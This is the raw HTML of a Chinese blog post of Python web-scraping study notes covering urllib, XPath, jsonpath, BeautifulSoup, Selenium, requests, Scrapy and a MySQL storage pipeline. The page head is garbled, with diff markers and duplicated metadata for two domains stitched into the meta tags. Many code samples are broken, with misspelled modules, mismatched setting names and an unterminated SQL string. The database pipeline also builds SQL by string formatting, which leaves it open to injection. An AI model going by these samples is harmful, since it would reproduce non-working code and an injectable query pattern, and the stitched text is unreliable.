'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/125/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-12-31T01:05:00+00:00"><meta property="article:modified_time" content="2021-12-31T01:05:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="python爬虫学习笔记"><meta name=twitter:description content="urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
+import urllib.parse import urllib.request url = &#34;https://xiaochenabc123.test.com/&#34; headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/125/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-12-31T01:05:00+00:00"><meta property="article:modified_time" content="2021-12-31T01:05:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="python爬虫学习笔记"><meta name=twitter:description content="urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy
 python库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块
 urllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能
 模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(&lsquo;https://xiaochenabc123.test.com/') print(response.read().decode(&lsquo;utf-8&rsquo;))
@@ -29,7 +29,7 @@
 post发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({&lsquo;hallo&rsquo;:&lsquo;python&rsquo;}),encoding=&lsquo;utf-8&rsquo;) response = urllib.request.urlopen(&lsquo;http://httpbin.org/post'.data = data) print(response.read())
 timeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(&lsquo;https://xiaochenabc123.test.com/',timeout=1)
 这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except
-import urllib.parse
import urllib.request
url = &#34;https://xiaochenabc123.test.com/&#34;
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"python爬虫学习笔记","item":"https://xiaochenabc123.github.io/posts/125/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"python爬虫学习笔记","name":"python爬虫学习笔记","description":"urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy\npython库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块\nurllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能\n模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.read().decode(\u0026lsquo;utf-8\u0026rsquo;))\n使用type()方法 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(type(response))\nHTTPResposne类型对象\n通过status属性获取返回的状态码 import urllib.requst response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/') print(response.status) print(response.getheaders())\npost发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({\u0026lsquo;hallo\u0026rsquo;:\u0026lsquo;python\u0026rsquo;}),encoding=\u0026lsquo;utf-8\u0026rsquo;) response = urllib.request.urlopen(\u0026lsquo;http://httpbin.org/post'.data = data) print(response.read())\ntimeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(\u0026lsquo;https://xiaochenabc123.test.com/',timeout=1)\n这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except\nimport urllib.parse\rimport urllib.request\rurl = \u0026quot;https://xiaochenabc123.test.com/\u0026quot;\rheaders = {\r'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.","keywords":["Python"],"articleBody":"urllib，xpath，jsonpath，beautiful，requests，selenium，Scrapy\npython库内置的HTTP请求库 urllib.request 请求模块 urllib.error 异常处理模块 urllib.parse url解析模块 urllib.robotparsef robots.txt解析模块\nurllib.request提供了最基本的http请求方法，主要带有处理授权验证，重定向，浏览器Cookies功能\n模拟浏览器发送get请求，就需要使用request对象，在该对象添加http头 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.read().decode(‘utf-8’))\n使用type()方法 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(type(response))\nHTTPResposne类型对象\n通过status属性获取返回的状态码 import urllib.requst response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/') print(response.status) print(response.getheaders())\npost发送一个请求，只需要把参数data以bytes类型传入 import urllib.parse import urllib.request data = bytes(urllib.parse.urlencode({‘hallo’:‘python’}),encoding=‘utf-8’) response = urllib.request.urlopen(‘http://httpbin.org/post'.data = data) print(response.read())\ntimeout参数用于设置超时时间，单位为秒 import urllib.request response = urllib.request.urlopen(‘https://xiaochenabc123.test.com/',timeout=1)\n这里设置超时时间为1秒，如果超了1秒，服务器依然没有响应就抛出URLError异常，可以结合try和except\nimport urllib.parse\rimport urllib.request\rurl = \"https://xiaochenabc123.test.com/\"\rheaders = {\r'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'}\rdata = urllib.request.Request(url=url, headers=headers)\rhi = hallo = urllib.request.urlopen(data)\r#hallo = urllib.request.urlopen(data).read().decode('utf-8')\r#print(hallo)\r# 6个方法\r#abc = hi.read(6) #按字节返回\r#xyz = hi.readline() # 读取一行\r#a = hi.readlines() # 一行一行的读取\r#b = hi.getcode() # 状态码\r#c = hi.geturl() # 获取url地址\r#d = hi.getheaders() # 获取状态信息\r# 下载到本地\r#urllib.request.urlretrieve(url,data.html)\r#url_img = \"https://xiaochenabc123.test.com/1.jpg\"\r#urllib.request.urlretrieve(url_img,abc.jpg)\r#url_mp4 = \"https://xiaochenabc123.test.com/1.mp4\"\r#urllib.request.urlretrieve(url_img,xyz.mp4)\r# auote() 转Unicode编码\r#name = urllib.parse.quote(\"哈哈哈\")\r#urlencode(),get拼接\rgg = {\r\"name\": \"小陈\",\r\"data\": \"hallo word\"\r}\rhaha = urllib.parse.urlencode(gg)\r#print(haha)\r# post请求\rssr = {\rdata: \"abc\"\r}\rabcxyz = urllib.parse.urlencode(ssr).encode('utf‐8')\rnogo = urllib.request.Request(url=url, headers=headers, data=abcxyz)\ryesgo = urllib.request.urlopen(nogo)\r#print(yesgo.read().decode('utf‐8'))\r#ajax请求（get和post）\r#cookie（扩展headers）\rheaders = {\r'Cookie': 'xxxx'\r}\r#HTTPHandler()\r#request = urllib.request.Request(url=url, headers=headers) #handler = urllib.request.HTTPHandler()\r#opener = urllib.request.build_opener(handler) #response = opener.open(request) #print(response.read().decode('utf‐8'))\r#代理服务器\rurls = \"http://baidu.com\"\rrequest = urllib.request.Request(url=urls, headers=headers)\rproxies = {'https': '14.115.106.223:808'}\rhandler = urllib.request.ProxyHandler(proxies=proxies) opener = urllib.request.build_opener(handler) response = opener.open(request) content = response.read().decode('utf‐8')\r#print(content)\rfrom lxml import etree\rimport urllib.request\r# 解析本地文件\r#html_data = etree.parse('./hallo.html', etree.HTMLParser())\r# 解析服务器响应文件\r# html = etree.HTML(response.read().decode('utf‐8')\r#result = etree.tostring(html_data)\r# print(result.decode('utf-8'))\r# /为查找子节点，//为查找全部子孙节点（不考虑层级）\r# list = html_data.xpath(\"//ul/li\")\r# 查找全部带id\r# list = html_data.xpath(\"//ul/li[@id]/text()\")\r# 查找指定id\r# list = html_data.xpath('//ul/li[@id=\"a\"]/text()')\r# 查找指定class的\r# list = html_data.xpath('//ul/li[@class=\"a\"]/text()')\r# 模糊查询（包含）\r# list = html_data.xpath('//ul/li[contains(@id, \"ab\")]/text()')\r# 查找以什么开头的\r# list = html_data.xpath('//li[starts-with(@id, \"a\")]/text()')\r# 查找以什么结尾的\r# list = html_data.xpath('//li[ends-with(@id, \"a\")]/text()')\r# 查找内容\r# list = html_data.xpath('//a[text()=\"小陈的辣鸡屋\"]/text()')\r# 多属性匹配(和)\r# list = html_data.xpath('//li[contains(@id, \"a\") and @href=\"https://xiaochenabc123.test.com\"]/a/text()')\r# 或者\r# list = html_data.xpath('//li[contains(@id, \"a\") | @href=\"https://xiaochenabc123.test.com\"]/a/text()')\r# 查找指定顺序的\r# list = html_data.xpath('//a[1]/text()') #获取第一个，可以指定第几个\r# list = html_data.xpath('//a[last()]/text()') #获取最后一个\r# list = html_data.xpath('//a[position()\u003c6]/text()') # 获取前5个\r# list = html_data.xpath('//a[last()-3]/text()') #获取倒数第4个\r# print(list)\r#实例：获取logo和logo的url\r#url = \"https://xiaochenabc123.test.com\"\r#headers = {\r# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r#}\r#request = urllib.request.Request(url=url, headers=headers)\r#response = urllib.request.urlopen(request)\r#content = response.read().decode(\"utf-8\")\r#hallo = etree.HTML(content)\r#data = hallo.xpath('//h3[@id=\"logo\"]/a/@href')[0]\r#data1 = hallo.xpath('//h3[@id=\"logo\"]/a/text()')[0]\r#print(data,data1)\r#获取文章的标题\r#headers = {\r# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r#}\r#\r#if __name__ == \"__main__\":\r# page1 = int(input(\"开始\"))\r# page2 = int(input(\"结束\"))\r#\r# for page in range(page1, page2 + 1):\r# urldata = \"https://xiaochenabc123.test.com/archives/\" + str(page) + \".html\"\r# #print(urldata)\r# request = urllib.request.Request(url=urldata, headers=headers)\r# response = urllib.request.urlopen(request)\r# if (response.getcode() == 200):\r# content = response.read().decode(\"utf-8\")\r# hallo = etree.HTML(content)\r# data = hallo.xpath('//h3[@class=\"post-title\"]/a/text()')[0]\r# print(data)\r# elif(response.getcode() == 404):\r# continue\r#爬取网站的全部a链接，并且返回到数组中\r#if __name__ == \"__main__\":\r# url = input(\"请输入要爬取的url\")\r# abc = int(input(\"是否启动只搜索当前域名的url,请回复0或者1\"))\r# headers = {\r# 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r# }\r# request = urllib.request.Request(url=url, headers=headers)\r# response = urllib.request.urlopen(request)\r# content = response.read().decode(\"utf-8\")\r# hallo = etree.HTML(content)\r# data = hallo.xpath('//a/@href')\r# a = 1\r# b = 1\r# c = \"https\"\r# d = \"http\"\r# if (abc == 1):\r# while a \u003c len(data):\r# if (c or d in data[a]):\r# if (url in data[a]):\r# urldata = data[a]\r# print(urldata)\r# a += 1\r# else:\r# while b \u003c len(data):\r# if (c or d in data[a]):\r# urldata = data[b]\r# print(urldata)\r# b += 1\r练习（json解析bing官方提供的api，获取精密壁纸）\nimport jsonpath\rimport json\rimport urllib.request\r# pip install jsonpath\rheaders = {\r'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r}\rabc = 0\rwhile abc == 0 :\ra = int(input(\"请输入要下载的张数（bing最多只能下载8张）\"))\raa = str(a)\rif(a\u003c=8):\rurlapi = \"https://cn.bing.com/HPImageArchive.aspx?format=js\u0026idx=0\u0026n=\"+aa+\"\u0026mkt=zh-CN\"\rrequest = urllib.request.Request(url=urlapi, headers=headers)\rresp = urllib.request.urlopen(request)\rcontent = resp.read().decode(\"utf-8\")\rwith open(\"data.json\", \"w\", encoding=\"utf-8\") as fp:\rfp.write(content)\robj = json.load(open(\"data.json\", \"r\", encoding=\"utf-8\"))\rhallo = jsonpath.jsonpath(obj, \"$..url\")\rimg = jsonpath.jsonpath(obj, \"$..enddate\")\rc = 0\rb = 0\rwhile c \u003c len(hallo):\rhi = \"https://cn.bing.com\"\rdata = hi + hallo[c]\rprint(data)\rc+=1\rwhile b \u003c len(img):\rhaha = img[b] + \".jpg\"\rprint(haha)\rurllib.request.urlretrieve(data, filename=haha)\rb+=1\rbreak\rprint(\"下载完成！！！\")\rabc = 1\relse:\rprint(\"您输入的张数超过8张，bing官方api只能下载8张，请重新输入\")\rBeautiful Soup解析库，和lxml一样，可以从html或者xml中解析数据和提取数据，Beautiful Soup会自动将输入数据转换为unicode编码，输出数据转换为utf-8编码。不需要考虑编码问题。除非文档没有说明编码\n目前使用的是Beautiful Soup 4，简称bs4，Beautiful Soup3已停止维护\n安装\npip install beautifulsoup4\n注意：Beautiful Soup支持第三方解析器，如果不使用第三方解析器的话，将使用Python标准库中的html解析器\nBeautifulSoup(html, html.parser) # 内置标准库\rBeautifulSoup(html, lxml) # lxml库，需要下载lxml库\rBeautifulSoup(html, xml) # lxml的xml解析，需要下载lxml库\rBeautifulSoup(html, html5lib) # html5lib，需要下载html5lib库 pip install html5lib\r第一个例子\nfrom bs4 import BeautifulSoup\r# data = BeautifulSoup(open(\"haha.html\"),encoding=\"utf-8\", \"lxml\")\rdata = BeautifulSoup(open(\"haha.html\"))\rprint(data.prettify())\rbs会将html文档解析为树状结构，该树状结构的节点是Python对象，而这些对象可以分为4种：\nTag：标签，通过tag获取指定标签内容，print(data.div)，可以通过data.标签名的方式获取标签的内容（注意：输出第一个符合条件的标签）\n检查对象的类型：print (type(data.div))，可以看到输出结果为，说明该对象为tag\ntag有两个属性，分别为name和attrs\nprint (data.name)\rprint (data.div.name)\r可以看到输出结果为[document]和div，data的name为[document]，而标签输出为标签本身的名字\nprint (data.div.attrs)\r可以看到输出结果是{‘class’: [‘xxx’]}的键值对，可以通过data.div[“xxx”]方式获取属性值，也可以修改属性值（data.div[“class”]= “nav”），删除属性（del data.div[“class”]）\nNavigableString：标签内部的文本（.string），print (data.p.string)，判断类型，print (type(data.p.string))，输出结果为\nBeautifulSoup：文档的全部内容，也就是data本身，print (type(data))，\nComment：特殊一点的NavigableString类型，可以输出注释的内容（不带注释符号），通过类型判断print (type(data.span.string))，可以看到输出\n查找\nprint(data.div.content) # 查找div的全部子节点，并且以列表的方式输出，可以使用索引来指定获取第几个节点\rprint(data.div.children) #一样是查找div的全部子节点，不过是list生成器，需要手动遍历获取\rprint(data.select(\"span\")) #查找标签，也可以通过类名或者id名查找，支持组合查找（和css方式一样）\rprint(data.find(\"div\"))\rprint(data.find(\"div\",class_=\"nav\"))\rselenium是一个web应用自动化测试工具，selenium可以直接运行在目前主流浏览器驱动（本身没有浏览器功能，需要搭配第三方浏览器，支持无界面浏览器），模拟用户操作\n因为其自动化和可以直接运行在浏览器的原因，可以用于爬虫\nchromedriver：https://npm.taobao.org/mirrors/chromedriver（淘宝镜像地址，下载的驱动版本要和浏览器内核的版本一样） edge: https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/ （webdriver.Edge()） 火狐：https://github.com/mozilla/geckodriver/releases （webdriver.Firefox()）\n安装\npip install selenium\n导入驱动\nfrom selenium import webdriver\rpath = \"浏览器驱动路径\"\rdriver = webdriver.Chrome(path)\rurl = \"https://xiaochenabc123.test.com\"\rdriver.get(url)\rdata = driver.page_source\rprint(data)\r元素定位（模拟鼠标和键盘操作元素的点击或者输入等等，在操作元素之前需要获取到元素的位置）\n注意：element是返回单个对象，elements可以返回多个对象\n根据id查找元素\ndata = driver.find_element_by_id(“app”)\n根据name属性值查找 data = driver.find_element_by_name(\"\")\n根据xpath查找 data = driver.find_elements_by_xpath()\n根据标签名查找 data = driver.find_elements_by_tag_name()\n使用bs4的方式查找 data = driver.find_element_by_css_selector(\"#app\")\n根据连接的文本查找 data = driver.find_element_by_link_text()\n根据连接的文本查找（模糊） data = driver.find_element_by_partial_link_text()\n根据class名查找 data = driver.find_element_by_class_name()\n交互和数据获取\n数据获取\n获取属性值\nprint(data.get_attribute(“href”))\n获取标签名\nprint(data.tag_name)\n获取元素文本\nprint(data.text)\n交互\n指定浏览器大小\ndriver.set_window_size(900, 1000)\n浏览器的前进和后退，以及刷新\ndriver.forward() driver.back() driver.refresh()\ninput输入框操作\ndata.click() #单击元素 data.send_keys(“hallo”) #输入 data.clear() #清除内容\n执行指定js脚本\ndriver.execute_script(js)\n例如：\nimport time\rfrom selenium import webdriver\rpath = \"msedgedriver.exe\"\rdriver = webdriver.Edge(path)\rurl = \"https://www.baidu.com/\"\rdriver.get(url)\rdata = driver.page_source\rdatas = driver.find_element_by_id(\"kw\")\rdatas.send_keys(\"小陈的辣鸡屋\")\ra = driver.find_element_by_id(\"su\")\ra.click()\rtime.sleep(2)\r#bottom = 'document.documentElement.scrollTop=10000'\r#driver.execute_script(bottom)\rb = driver.find_element_by_link_text(\"小陈的辣鸡屋\")\rb.click()\rPhantomjs是一个无界面浏览器，因为其不需要进行gui渲染，效率比较高，但是已经停止更新，这里只了解一下，推荐使用Headless Chrome\nhttps://phantomjs.org/\nphantomjs操作方式一样\ndriver = webdriver.PhantomJS(path)\r因为没有界面，访问网页是没有界面的，需要通过快照获取，driver.save_screenshot(“xiaochenabc123.test.com.jpg”)\nHeadless Chrome是基于Chrome 59版本以及以上版本的无界面模式（mac和Linux最低要求59版本，而win需要60版本）\nfrom selenium import webdriver\rfrom selenium.webdriver.chrome.options import Options\rchrome_options = Options()\rchrome_options.add_argument('--headless') # 无界面模式启动\rchrome_options.add_argument('--disable-gpu')\rpath = \"Chrome.exe\" # Chrome浏览器的路径\rchrome_options.binary_location = path\rdriver = webdriver.Chrome(chrome_options=chrome_options) # 实例化\rurl = \"https://xiaochenabc123.test.com\"\rdriver.get(\"url\")\rdriver.save_screenshot(\"xiaochenabc123.test.com.jpg\")\r具体操作方法和selenium一样\nrequests库是基于Python开发并且封装的http库，HTTP for Humans\n安装\npip install requests\n使用方式很简单\nimport requests\rurl = \"https://xiaochenabc123.test.com\"\rresponse = requests.get(url)\rresponse.status_code # 200 返回状态码\rprint(type(response)) # 返回类型\rresponse.encoding = \"utf-8\" # 响应的编码\rprint(response.text) # 返回源代码\rprint(response.url) # 返回请求的url\rprint(response.content) # 返回二进制数据\rprint(response.headers) # 返回响应头\rrequests在请求json的时候还可以直接获取\nget请求\nget请求的参数通过params属性传递，不需要考虑url的编码问题，不需要考虑请求对象，例如：\ndata = {\r'wd': 'python'\r}\rheaders = {\r'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r}\rresponse = requests.get('https://baidu.com/s?', params=data, headers=headers)\rprint (response.text)\rpost请求\npost请求不需要考虑编解码，不需要考虑请求对象\ndata = {\r'url': 'xiaochenabc123.test.com',\r'name': 'root'\r}\rurl = \"https://httpbin.org/post\"\rresponse = requests.post(url=url, data=data, headers=headers)\rimport json\robj = json.loads(response.text,encoding=\"utf-8\")\rprint (obj)\r注意：默认使用application/x-www-form-urlencoded进行编码，如果想传递json，需要使用requests.post()的json参数，上传文件用files参数\n另外还支持put()和delete()\n传入cookie需要cookies参数，支持设置请求超时（timeout参数，单位为秒）\n代理用proxies参数，指向一个字典（代理池）\nscrapy是基于Python开发的爬取数据，提取数据的框架，可应用在数据挖掘，数据存储\n安装\npip install scrapy\nscrapy架构组件分为Scrapy Engine（引擎），Scheduler（调度器），Downloader（下载器），Spider（爬虫），Item Pipeline（数据管道），Downloader middlewares（下载中间件），Spider middlewares（Spider中间件）\nScrapy Engine：负责控制数据流（Data Flow）在组件中的流动，例如通信，数据传递，在某些情况下还触发相对应的事件\nScheduler：负责接收引擎发送的request请求并且将其存储在调度器中，当引擎需要时提供给引擎，调度器会自动去重url（也可以不去重）\nDownloader：负责下载引擎发送的全部request请求的响应数据，将获取到数据提供给Spider\nSpider：负责处理全部响应数据，并且进行分析提取数据，获取需要的数据，并且将需要进行额外跟进的url传递给引擎，以便重新进入调度器，一般情况一个Spider只负责一个或者多个特定的url\nItem Pipeline：负责处理Spider提取出来的数据，经过分析，过滤，存储等步骤，最后存储在本地或者数据库中\nDownloader middlewares：其是引擎和Downloader之间的钩子，自定义扩展下载器的功能，例如更换ua，ip等等\nSpider middlewares：Spider和引擎之间的钩子，用来处理Spider的输入响应和输出数据，自定义扩展Spider的功能\n具体数据流线路：引擎请求一个url，并且获取到处理这个url的Spider，并且向该Spider请求要第一个爬取的url，引擎获取到要爬取的url，将其传递给调度器，引擎再向调度器请求要下一个爬取的URL，调度器返回url给引擎，引擎通过下载中间件传递给下载器，由下载器下载数据，当数据下载完毕（不管是否成功），下载器将响应数据通过下载中间件返回给引擎，引擎得到数据并且通过Spider中间件传递给Spider处理数据，Spider处理数据并且将处理完毕的数据以及需要跟进的url提供给引擎，引擎再将处理完毕的数据传递给Item Pipeline进行下一步处理，并且将需要跟进的url传递给调度器，一直重复循环直到调度器中没有request\n新建项目：\nscrapy startproject scrapyDemo\n这个项目中包含了一些文件，分别是scrapy.cfg（配置文件），scrapyDemo/（项目的Python模块，将在这里编写程序），items.py（item文件，目标文件），pipelines.py（管道文件，用来处理数据，默认为300优先级，值越小优先级越高），settings.py（项目的设置文件，例如robots协议是否遵守，定义ua等等），spiders/（spider爬虫程序存放的目录）\nspider爬虫程序（/spiders目录下）\n创建一个爬虫必须继承scrapy.Spider类，并且定义三个参数（必须唯一，用来区别其他爬虫），start_urls（爬虫程序执行时要爬取的url），parse()在被调用时，下载完成后得到的响应将作为唯一参数传递给该方法，这个方法负责解析返回回来的数据，以及提取数据和后续要进行下一步处理的响应数据\n快速创建一个基础scrapy爬虫程序\nscrapy genspider cjlio xiaochenabc123.test.com\nimport scrapy\rclass CjlioSpider(scrapy.Spider):\rname = 'cjlio'\rallowed_domains = ['xiaochenabc123.test.com'] # 过滤爬取的URL，不在此范围内的域名会被过滤掉\rstart_urls = ['http://xiaochenabc123.test.com/']\rdef parse(self, response):\rcontent = response.text\rprint(content)\rresponse属性：.text（返回响应的字符串），.body（返回二进制数据），.xpath()（使用xpath方法来解析，返回的数据为列表），.extract()获取seletor对象的data属性值，.extract_first()获取seletor列表的第一个的数据\n还有.url（url地址），.status（状态码），.encoding（响应正文的编码），.request（生成request对象），.css()（用css选择器方式解析数据），.urljoin()（生成绝对url）\n执行爬虫程序（cjlio为爬虫的name）\nscrapy crawl cjlio\n将获取的数据存储为json文件\nscrapy crawl cjlio -o cjlio.json\n注意：因为scrapy默认使用ascii存储json，需要改为utf-8\n在settings.py中添加FEED_EXPORT_ENCODING = ‘utf-8’解决\n关闭robots协议（不遵守robots协议，注释掉或者改为False，默认遵守robots协议）\nROBOTSTXT_OBEY = False\rscrapy shell是一个交互终端，在没有启动spider的情况下尝试以及测试程序的xpath和css表达式\nscrapy shell可以借助ipython终端\npip install ipython\n注意：如果安装ipython，scrapy将使用ipython代替Python标准终端，ipython提供了自动补全，高亮等等功能\n调试例子（不需要进入Python环境，可以直接在终端中调试）\nscrapy shell xiaochenabc123.test.com\nresponse.text\nresponse.xpath()\nitems.py定义数据结构\nimport scrapy\rclass ScrapydemoItem(scrapy.Item):\rname = scrapy.Field()\rimg = scrapy.Field()\rcjlio.py（爬虫程序）\nimport scrapy\rclass CjlioSpider(scrapy.Spider):\rname = 'cjlio'\rallowed_domains = ['xiaochenabc123.test.com']\rstart_urls = ['http://xiaochenabc123.test.com/']\rdef parse(self, response):\rcontent = response.text\rname = content.xpath(\"xpath匹配\").extract_first()\rimg = content.xpath(\"xpath匹配\").extract_first()\rprint(name, img)\r管道封装\ncjlio.py（爬虫程序）\nfrom scrapyDemo.items import ScrapydemoItem\r...\rdata = scrapyDemoItems(name=name,img=img)\ryield data # 每获取一次data数据，就是返回一次数据给管道\r# yield的作用类似于生成器（generator）\r注意：如果想使用管道，需要在settings.py中开启\n找到\nITEM_PIPELINES = {\r'scrapyDemo.pipelines.ScrapydemoPipeline': 300,\r}\r将注释去掉，300指优先级（优先级1到1000），值越小优先级越高\npipelines.py（管道文件）中的item就是爬虫程序返回的data数据\n启动爬虫之前（open_spider(self, spider)）\n启动爬虫之后（close_spider(self, spider)）\n开启多管道\n在 ITEM_PIPELINES 字段中添加新管道（settings.py）\n然后在pipelines.py定义新管道的类\n查询当前项目中的爬虫任务：scrapy list\n自定义UA\nsettings.py文件中USER_AGENT字段或者DEFAULT_REQUEST_HEADERS都可以\n项目中配置headers\nspiders爬虫程序\nheaders = {\r'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62'\r}\rurl = \"https://xiaochenabc123.test.com\"\ryield scrapy.Request(\rurl=url,\rheaders=headers\r)\r数据入库\n安装pymysql\npip install pymysql\nsettings.py\n（pymysql） DB_HOST = “127.0.0.1” DB_RORT = 3306 DB_USER = “root” DB_PASSWORD = “123abc” DB_NAME = “dataMax” DB_CHARSET = “utf8”\n开一条新管道，专门处理数据入数据库\npipeline.py\nfrom scrapy.utils.project import get_project_settings\rimport pymysql\r#读取settings文件\rclass MysqlMax:\rdef open_spider(self, spider):\rsettings = get_project_settings()\rself.host = settings['DB_HOST']\rself.port = settings['DB_PORT']\rself.user = settings['DB_USER']\rself.password = settings['DB_PASSWORD']\rself.name = settings['DB_NAME']\rself.charset = settings['DB_CHARSET']\rself.connect()\rdef connect(self):\rself.conn = pymysql.connect(\rhost = self.host,\rport = self.port,\ruser = self.user,\rpassword = self.password,\rname = self.name,\rcharset = self.charset\r)\rself.cursor = self.conn.cursor()\rdef process_item(self,item,spider):\rsql = 'insert into book(name,src) values(\"{}\",\"{}\").format(item['name'],item['img'])\rself.cursor.execute(sql)\rself.conn.commit()\r# 执行sql语句，并且提交\rreturn item\rdef close_spider(self, spider):\rself.cursor.close()\rself.conn.close()\r链接跟进和链接提取器\n爬虫程序文件\nrules = (\rRule(LinkExtractor(allow = \"\"),\rcallback = \"parse_item\", follow = True),\r)\rallow为正则表达式，当链接满足正则表达式提取，为空则全部匹配（链接提取器）\ncallback为指定解析数据的规则\nfollow一般情况默认为False，指定是否从response提取的链接进行跟进，当callback为none时，follow为True\n还有dent =()，用来过滤符合正则表达式的链接，当符合时不提取\nallow_domains：允许的域名，deny_domains：不允许的域名\nrestrict_xpaths：提取符合xpath的链接，restrict_css：提取符合选择器的链接\n注意：follow当为True会一直提取符合规则的链接，直到全部链接提取完毕\n日志以及日志等级\n日志等级\nCRITICAL：严重错误 ERROR：一般错误 WARNING：警告 INFO：一般信息 DEBUG：调试信息（默认，只有出现DEBUG以及以上等级的日志才会打印输出）\nsettings.py文件可以设置哪些日志显示，哪些不显示\nLOG_FILE：将信息存储到文件中，不显示在输出界面，后缀为.log\nLOG_LEVEL：指定日志显示的等级\n例如： LOG_LEVEL = “WARNING” LOG_FILE= “demo.log”\n","wordCount":"1414","inLanguage":"en","datePublished":"2021-12-31T01:05:00Z","dateModified":"2021-12-31T01:05:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/125/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" 